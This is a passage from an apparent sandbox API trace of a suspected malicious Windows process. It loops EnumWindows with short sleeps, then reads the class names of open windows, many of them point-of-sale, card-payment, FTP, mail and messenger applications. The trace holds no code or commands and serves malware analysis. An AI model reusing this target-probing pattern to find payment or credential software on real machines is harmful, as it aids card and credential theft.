lParam=0x2290000) [0132.010] Sleep (dwMilliseconds=0x64) [0132.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.012] Sleep (dwMilliseconds=0x64) [0132.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.014] Sleep (dwMilliseconds=0x64) [0132.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.017] Sleep (dwMilliseconds=0x64) [0132.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.019] Sleep (dwMilliseconds=0x64) [0132.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.020] Sleep (dwMilliseconds=0x64) [0132.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.024] Sleep (dwMilliseconds=0x64) [0132.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.026] Sleep (dwMilliseconds=0x64) [0132.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.028] Sleep (dwMilliseconds=0x64) [0132.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.030] Sleep (dwMilliseconds=0x64) [0132.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.113] Sleep (dwMilliseconds=0x64) [0132.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.115] Sleep (dwMilliseconds=0x64) [0132.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.117] Sleep (dwMilliseconds=0x64) [0132.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.119] Sleep (dwMilliseconds=0x64) [0132.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.122] Sleep (dwMilliseconds=0x64) [0132.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.124] Sleep (dwMilliseconds=0x64) [0132.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.126] Sleep (dwMilliseconds=0x64) [0132.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.128] Sleep (dwMilliseconds=0x64) [0132.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.129] Sleep (dwMilliseconds=0x64) [0132.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.131] Sleep (dwMilliseconds=0x64) [0132.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.133] Sleep (dwMilliseconds=0x64) [0132.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.135] Sleep (dwMilliseconds=0x64) [0132.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.136] Sleep (dwMilliseconds=0x64) [0132.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.138] Sleep (dwMilliseconds=0x64) [0132.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.140] Sleep (dwMilliseconds=0x64) [0132.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.141] Sleep (dwMilliseconds=0x64) [0132.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.172] Sleep (dwMilliseconds=0x64) [0132.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.174] Sleep (dwMilliseconds=0x64) [0132.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.176] Sleep (dwMilliseconds=0x64) [0132.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.178] Sleep (dwMilliseconds=0x64) [0132.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.180] Sleep (dwMilliseconds=0x64) [0132.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.181] Sleep (dwMilliseconds=0x64) [0132.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.183] Sleep (dwMilliseconds=0x64) [0132.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.185] Sleep (dwMilliseconds=0x64) [0132.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.187] Sleep (dwMilliseconds=0x64) [0132.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.189] Sleep (dwMilliseconds=0x64) [0132.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.195] Sleep (dwMilliseconds=0x64) [0132.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.197] Sleep (dwMilliseconds=0x64) [0132.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.199] Sleep (dwMilliseconds=0x64) [0132.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.201] Sleep (dwMilliseconds=0x64) [0132.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.308] Sleep (dwMilliseconds=0x64) [0132.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.389] Sleep (dwMilliseconds=0x64) [0132.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.453] Sleep (dwMilliseconds=0x64) [0132.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.455] Sleep (dwMilliseconds=0x64) [0132.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.457] Sleep (dwMilliseconds=0x64) [0132.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.459] Sleep (dwMilliseconds=0x64) [0132.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.461] Sleep (dwMilliseconds=0x64) [0132.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.486] Sleep (dwMilliseconds=0x64) [0132.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.488] Sleep (dwMilliseconds=0x64) [0132.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.491] Sleep (dwMilliseconds=0x64) [0132.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.492] Sleep (dwMilliseconds=0x64) [0132.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.494] Sleep (dwMilliseconds=0x64) [0132.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.497] Sleep (dwMilliseconds=0x64) [0132.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0132.500] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0132.500] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0132.500] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0132.500] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.500] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0132.501] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.501] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.501] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.501] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.501] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.501] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0132.501] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.501] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0132.501] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0132.501] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.502] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0132.502] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0132.502] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.502] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0132.502] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.503] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.503] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.503] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0132.503] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0132.503] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.503] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0132.503] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0132.503] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0132.503] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0132.503] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0132.503] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0132.503] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0132.503] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0132.503] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0132.504] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0132.504] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0132.504] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0132.504] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0132.504] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.504] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0132.504] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0132.504] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0132.504] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0132.504] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0132.504] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0132.504] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0132.504] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0132.504] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0132.504] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0132.505] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0132.505] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0132.505] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0132.505] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0132.505] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0132.505] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0132.505] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0132.505] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0132.505] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0132.505] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0132.505] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0132.505] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0132.505] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0132.505] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0132.506] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0132.506] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0132.506] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0132.506] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0132.506] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0132.506] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0132.506] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0132.506] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0132.506] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0132.506] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0132.506] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0132.506] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0132.506] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0132.506] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0132.506] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0132.507] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0132.507] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0132.507] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0132.507] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0132.507] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0132.507] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0132.507] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0132.507] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0132.507] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.507] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.507] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.507] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0132.508] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.508] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0132.508] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0132.508] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0132.508] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0132.508] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.508] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0132.508] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0132.509] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.509] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0132.509] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0132.509] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.509] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0132.509] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.509] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.509] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0132.509] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0132.509] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0132.509] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0132.509] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.509] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.510] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.510] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.510] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.510] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.510] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.510] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0132.510] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0132.510] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0132.510] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0132.510] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0132.510] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0132.510] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0132.510] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0132.510] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.511] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0132.511] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0132.511] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.511] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] 